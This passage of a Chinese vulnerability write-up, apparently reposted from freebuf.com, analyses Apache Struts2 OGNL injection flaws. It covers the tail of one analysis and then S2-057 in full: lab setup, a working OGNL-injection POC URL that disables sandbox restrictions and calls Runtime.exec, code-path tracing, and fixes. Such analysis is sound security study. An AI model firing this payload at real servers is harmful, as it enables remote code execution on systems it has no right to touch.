再来看TextParseUtil.translateVariables方法,这里有多层调用,我们直接到最后一层。方法中主要是创建了一个TextParser解析器(本质上是接口,但是通过获取实例进行调用,这里实例为OgnlTextParser),然后调用其evaluate方法(箭头所指)对表达式进行计算。

1614865224_6040e348e6347010c2188.png!small?1614865225547

OgnlTextParserevaluate方法中,又调用了evaluatorevaluate方法(即上图红框部分)。

1614865280_6040e380135fc31729a88.png!small?1614865280801

这里会触发stack.findValue方法,然后经过一系列调用,来到OgnlUtil类的compileAndExecute方法。会先从缓存中查看是否为已执行的表达式,否则会通过Ognl.parseExpression方法进行语法树解析,然后通过checkEnableEvalExpression判断是否开启执行表达式功能。

1614865296_6040e390426ee6c9f8c47.png!small?1614865296967

1614865300_6040e3943fe352fdeb311.png!small?1614865300861

this.enableEvalExpression这里为false,由于tree的类型为ASTChain,继承自SimpleNode,所以需要对当前的ognlContext进行isEvalChainisSequence的判断。但显然此处不是EvalChain类型,也不是Sequence类型,因此返回的都是false

1614865315_6040e3a3361747558ddf0.png!small?1614865315964

回到Ognl.parseExpression方法,会调用到taskexecute方法,实质上就是Ognl.getValue方法,后续部分就是对Ognl表达式的解析执行了,此处不再阐述。

1614865328_6040e3b088d1b59fee3a9.png!small?1614865329384

1614865332_6040e3b4b1196b93ef765.png!small?1614865333300

修复建议

用户应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限 getter属性)。

用户可以升级到Apache Struts版本2.5.12或2.3.34,其中包含更多受限制的Freemarker配置,但是最好删除易受攻击的构造。

0x0F S2-057

原理

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。

影响版本

Apache Struts 2.3 – Struts 2.3.34

Apache Struts 2.5 – Struts 2.5.16

环境搭建

1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开

1614936457_6041f98988d0841ad24c4.png!small?1614936461329

2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为


<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default">   <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">   <result type="redirectAction">     <param name = "actionName">register2</param>   </result>   </action> </package> </struts>

3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加<constant name=”struts.mapper.alwaysSelectFullNamespace” value=”true” />

添加tomcat运行

1614936523_6041f9cbe7c960fed27bf.png!small?1614936527373

1614936537_6041f9d9c9d6830f70972.png!small?1614936540946

漏洞复现

1.访问http://localhost:8081/${(111+111)}/actionChain1.action

1614936565_6041f9f5330f932fa3684.png!small?1614936568399

1614936568_6041f9f8569a9c85acdcf.png!small?1614936571492

POC


/struts2_showcase_war_exploded/showcase/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}/actionChain1.action

1614936592_6041fa10562f956dd1114.png!small?1614936595567

漏洞分析

主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程

1614936615_6041fa276b05124f1ab2f.png!small?1614936618553

Redirect action:

1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja

va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试

1614936638_6041fa3e088950df0e32f.png!small?1614936641104

1614936664_6041fa585c65d789a20ce.png!small?1614936668757

2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()

1614937475_6041fd837e126c8e71940.png!small?1614937478936

3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。

4.回到execute()

进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值

1614937517_6041fdad361876e7e7f46.png!small?1614937520513

5.handleNamespace最终结果如下

1614937537_6041fdc1531e391f6d515.png!small?1614937541293

6.返回到execute()跟进super.execute()

1614937572_6041fde4f18710efc634c.png!small?1614937576508

1614937585_6041fdf18bc98e440a4a6.png!small?1614937589103

7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()

lastFinaLocation 111+111=222 即产生了OGNL注入。

1614937608_6041fe0823a47ebe09d2b.png!small?1614937611776

第二种方法

1.先修改struts.actionchaing.xml中内容

1614937637_6041fe253ccd16dee8e39.png!small?1614937640401

2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback

1614937667_6041fe43c60003e622ea2.png!small?1614937671137

3.进入execute(),跟进makePostbackUri

1614937680_6041fe5050e61d23f7639.png!small?1614937683417

1614937721_6041fe794e759b41bc732.png!small?1614937724642

4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过程

1614937753_6041fe991c14923cf7a87.png!small?1614937756415

5.handleNamespace()处理值过程如下

1614937789_6041febd627df34a0fbda.png!small?1614937792867

6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()

可以看到postbackUri为/${(111+111)}/register2.action

1614937809_6041fed1271670b7adc06.png!small?1614937812822

7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute()方法中往下走到super.execute()跟进

1614937823_6041fedf76e85a6fb1897.png!small?1614937826718

8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()

lastFinaLocation 111+111=222 即产生了OGNL注入。

1614937841_6041fef1946110607dfe1.png!small?1614937844709

修复建议

1.官方补丁

目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:

https://struts.apache.org/download.cgi#struts2517

2.手工修复

修改配置文件:

固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。

来源:freebuf.com 2021-03-07 22:22:09 by: TimelineSec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论